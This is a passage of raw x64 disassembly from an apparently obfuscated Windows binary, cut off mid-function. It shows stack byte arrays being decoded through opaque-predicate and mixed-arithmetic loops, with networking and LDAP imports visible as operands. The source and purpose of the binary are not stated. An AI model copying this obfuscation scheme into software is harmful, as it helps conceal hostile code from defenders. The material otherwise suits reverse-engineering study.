mov byte [rbp + 0x19a], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x19b], Ordinal_60
mov byte [rbp + 0x19c], Ordinal_50
mov byte [rbp + 0x19d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x19e], gethostname
mov byte [rbp + 0x19f], gethostname
mov byte [rbp + 0x1a0], 0x9c
xor eax, eax
mov qword [rbp + 0x1a1], rax
mov dword [rbp + 0x1a9], eax
mov word [rbp + 0x1ad], ax
mov byte [rbp + 0x1af], al
movabs rsi, 0x4b02bceb6f61616a
movabs r14, 0xa318a446ea6c6cba
movabs r15, 0xe10836c24e24243e
movzx edx, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rbx, r13
cmp rbx, 0x20
jae 0x1400e1cc9
movzx r11d, byte [rbp + rbx + 0x190]
mov r10, r11
nop dword [rax]
cmp r8, rbx
ja 0x1400e1cc0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e11cb
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0x1a
jmp 0x1400e1200
je 0x1400e1c52
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e1c25
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e1c09
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e1bc1
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400e1cb7
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400e122e
lea edx, [rbx - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1270
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e1ba3
inc rax
cmp r8, rax
je 0x1400e1b81
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e1b62
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e1b55
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e1b39
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400e1790
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e176f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400e174a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e172b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e170d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e16f1
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400e16d5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e16b4
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e169b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400e1671
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e1280
lea r8, [r9 + 8]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e1c9a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400e1c80
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e1463
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e144a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e142e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400e1626
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e15e2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e15a7
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400e1584
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400e1280
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e1557
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e153e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400e1521
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e1505
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400e14f8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e14dd
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400e14be
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400e149c
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400e147c
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e1280
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x28]
jmp 0x1400e1280
lea edx, [rbx - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1270
lea ecx, [rbx - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
jmp 0x1400e1200
lea ecx, [rbx - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4a
jmp 0x1400e1196
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx r10d, bl
jmp 0x1400e1bda
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x24
inc r9
dec rbx
inc rbx
jmp 0x1400e1183
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
dec rbx
inc rbx
jmp 0x1400e1183
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
movzx r10d, bl
jmp 0x1400e1a86
lea edx, [rbx + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400e1c11
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1c3a
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
movzx r10d, bl
jmp 0x1400e1aca
lea ecx, [rbx - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x1400e1af6
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
mov byte [rbp + rbx + 0x190], dl
inc rbx
jmp 0x1400e1183
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x46
cmp r9, 3
jb 0x1400e1598
movzx r10d, bl
lea ecx, [r10 + 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x48]
jmp 0x1400e1bda
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
cmp r8, 0x40
jae 0x1400e1a69
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400e1980
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e15bb
lea edx, [rbx + 0x62]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x1400e1ab5
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400e1899
lea edx, [rbx + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e15f6
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x34
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x1400e1af6
movzx r10d, bl
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1aca
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1c3a
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
add r8, r9
jmp 0x1400e1c3a
movzx r10d, bl
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x1400e1a8b
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
dec rbx
inc rbx
jmp 0x1400e1183
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e1183
movzx r10d, bl
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1bda
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400e17ac
lea edx, [rbx + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
jmp 0x1400e1634
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e17e2
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
inc rax
cmp r8, rax
jne 0x1400e1808
movzx r10d, bl
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
jmp 0x1400e1aca
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e181e
lea edx, [rbx - 0x4c]
mov ecx, 0xa
jmp 0x1400e1c11
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e1843
movzx r10d, bl
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
jmp 0x1400e1a86
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e186e
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x1400e1183
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400e163d
movzx r10d, bl
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
jmp 0x1400e1bda
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e18c3
movzx r10d, bl
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1bda
inc rax
cmp r8, rax
jne 0x1400e18d8
lea edx, [rbx + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400e1c11
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e18fd
lea edx, [rbx + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1c3a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e1924
movzx r10d, bl
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x62
jmp 0x1400e1aca
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e1946
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2e
jmp 0x1400e1af6
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e15f6
lea edx, [rbx - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e19b3
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
inc rax
cmp r8, rax
jne 0x1400e19d9
movzx r10d, bl
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x1400e1aca
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e19fe
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1c3a
cmp r8, rcx
jne 0x1400e1a10
lea edx, [rbx + 0x18]
mov ecx, Ordinal_45
jmp 0x1400e1c11
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e1a3b
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
inc r9
dec rbx
inc rbx
jmp 0x1400e1183
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400e15bb
movzx r10d, bl
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1bda
movzx r10d, bl
lea edx, [r10 + 0x10]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, byte [rbp + rbx + 0x190]
sub cl, al
sub dl, 0x70
add dl, cl
add dl, r11b
add r10b, 0x7a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x56
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x190], r11b
add r8, r9
jmp 0x1400e1c3a
movzx r10d, bl
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x3c]
add r10b, 0x4e
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x22
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x190], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x48]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 8
add r11b, cl
mov byte [rbp + rbx + 0x190], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
lea edx, [rbx - 0x56]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1c3a
lea edx, [rbx - 0x2a]
mov ecx, reloc.WS2_32.dll_send
jmp 0x1400e1c11
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x42
dec rbx
inc rbx
jmp 0x1400e1183
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x76
inc r9
dec rbx
inc rbx
jmp 0x1400e1183
movzx r10d, bl
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400e1bda
movzx r10d, bl
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x12
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x190], cl
inc r9
dec rbx
inc rbx
jmp 0x1400e1183
lea edx, [rbx - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
jmp 0x1400e1c3a
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e1183
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
mov edx, Ordinal_41
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + rbx + 0x190]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1183
add bl, 0x12
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea edx, [rbx + r11]
sub dl, 0x7e
jmp 0x1400e1180
add bl, 0x3e
movzx eax, r11b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, bl
jmp 0x1400e1170
lea rcx, [rbp + 0x16d74c8]
jmp 0x1400e1cd0
lea rcx, [rbp + 0x4ed632]
jmp 0x1400e1cd0
lea rcx, [rbp + 0x190]
call fcn.14003f5a0
mov byte [rbp + 0x260], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x261], 0xf7
mov byte [rbp + 0x262], 0xf2
mov byte [rbp + 0x263], 0xf2
mov byte [rbp + 0x264], 0xe5
mov byte [rbp + 0x265], 1
mov byte [rbp + 0x266], Ordinal_211
mov byte [rbp + 0x267], Ordinal_200
mov byte [rbp + 0x268], 0xe8
mov byte [rbp + 0x269], 0xf6
mov byte [rbp + 0x26a], 0xf2
mov byte [rbp + 0x26b], ntohl
mov byte [rbp + 0x26c], Ordinal_200
mov byte [rbp + 0x26d], 0xfb
mov byte [rbp + 0x26e], Ordinal_200
mov byte [rbp + 0x26f], Ordinal_60
mov byte [rbp + 0x270], 0xe7
mov byte [rbp + 0x271], Ordinal_200
mov byte [rbp + 0x272], 0xff
mov byte [rbp + 0x273], 0xc1
mov byte [rbp + 0x274], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x275], 0xef
mov byte [rbp + 0x276], 0xc1
mov byte [rbp + 0x277], 0xf1
mov byte [rbp + 0x278], 0xca
mov byte [rbp + 0x279], 0xcc
mov byte [rbp + 0x27a], Ordinal_200
mov byte [rbp + 0x27b], gethostname
mov byte [rbp + 0x27c], 0x5a
xor eax, eax
mov qword [rbp + 0x27d], rax
mov byte [rbp + 0x285], al
movabs rsi, 0x49851e8b1e1da4d1
movabs r15, 0x6f9998b796943815
movabs r14, 0xdc8f5ba15a58ee73
movzx edx, byte [rbp + 0x3c0]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov r11, r13
cmp r11, 0x26
jae 0x1400e2902
movzx r10d, byte [rbp + r11 + 0x260]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400e28f9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e1e3b
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
add dl, 0x49
jmp 0x1400e1e60
je 0x1400e288e
inc rax
cmp r8, rax
je 0x1400e2833
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e27e3
nop word [rax + rax]
cmp r9, r11
ja 0x1400e28f0
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400e1e89
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 3
jmp 0x1400e1ed0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400e27a2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e2788
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e276e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400e2754
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e273a
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400e2414
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e23f4
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400e23d1
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e23b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e2391
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e2377
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e235a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e233d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e2320
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e22f4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e1ee0
lea r8, [r9 + 1]
lea r9, [r8 + 2]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e28d4
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e28b8
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e20c5
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400e20ab
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e2091
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400e22ad
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400e2267
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e222a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400e2205
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400e1ee0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x40]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400e21d6
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400e21bc
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400e219b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e217e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400e2164
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e2143
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400e2123
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e20fd
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e20df
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400e1ee0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x5a]
jmp 0x1400e1ee0
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5d
jmp 0x1400e1ed0
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x11
jmp 0x1400e1e60
lea ecx, [r11 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7f
jmp 0x1400e1e06
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
movzx ebx, r11b
jmp 0x1400e27ba
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x1400e1df3
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
dec r11
inc r11
jmp 0x1400e1df3
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx ebx, r11b
jmp 0x1400e27fb
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x60
jmp 0x1400e2818
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e281b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx ebx, r11b
jmp 0x1400e270e
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
jmp 0x1400e284b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
lea ecx, [r11 + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x15
mov byte [rbp + r11 + 0x260], dl
inc r11
jmp 0x1400e1df3
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x59
cmp r9, 4
jb 0x1400e221a
movzx ebx, r11b
lea ecx, [rbx + 0x46]
movzx eax, cl
and al, r10b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x1400e27ba
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x39
cmp r8, 0xa
jae 0x1400e26cf
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400e25ff
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e223f
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x1400e26f6
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400e2509
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x65
jmp 0x1400e227c
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x12
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e284b
movzx ebx, r11b
lea ecx, [rbx - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x1400e270e
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e281b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5a
jmp 0x1400e2818
movzx ebx, r11b
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e27fb
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7e
dec r11
inc r11
jmp 0x1400e1df3
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x10
inc r9
dec r11
inc r11
jmp 0x1400e1df3
movzx ebx, r11b
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400e27ba
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400e2437
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x49
jmp 0x1400e22c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e246c
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 6
movzx eax, byte [rbp + r11 + 0x260]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e1df3
inc rax
cmp r8, rax
jne 0x1400e2491
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
